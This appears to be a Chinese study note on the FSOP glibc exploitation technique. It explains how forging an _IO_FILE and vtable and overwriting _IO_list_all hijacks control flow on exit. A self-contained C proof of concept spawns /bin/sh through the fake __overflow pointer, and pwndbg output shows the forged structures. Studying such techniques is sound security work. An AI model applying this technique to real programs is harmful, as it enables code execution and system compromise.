FSOP

File Stream Oriented Programming

FSOP利用前提要有libc地址,核心就是劫持_chain链表头_IO_list_all伪造_IO_FILE 项和vtable

之前exit()分析时会_IO_flush_all_lockp,里面会调用

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

_IO_flush_all_lockp会在以下触发

  1. 当 libc 执行 abort 流程时

  2. 当执行 exit 函数时

  3. 当执行流从 main 函数返回时(其实也是最后调用exit)

需要伪造的_IO_FILE绕过一下条件

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base
#include <stdio.h>
#include <stdlib.h>
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8
void sh() {
system("/bin/sh");

}
int main(void)
{
void *ptr;
long long *list_all_ptr;

ptr=malloc(0x200);

*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
*(long long*)((long long)ptr+0x100+24)=sh;

list_all_ptr=(long long *)_IO_list_all;

list_all_ptr[0]=ptr;

exit(0);
}
pwndbg> p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x602010
pwndbg> p *(struct _IO_FILE_plus *) 0x602010
$2 = {
file = {
_flags = 0,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x602110
}
pwndbg> p *(struct _IO_jump_t*)0x602110
$3 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x4005b6 <sh>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
pwndbg> p sh
$4 = {void ()} 0x4005b6 <sh>

image-20230406132711374

image-20230406132733192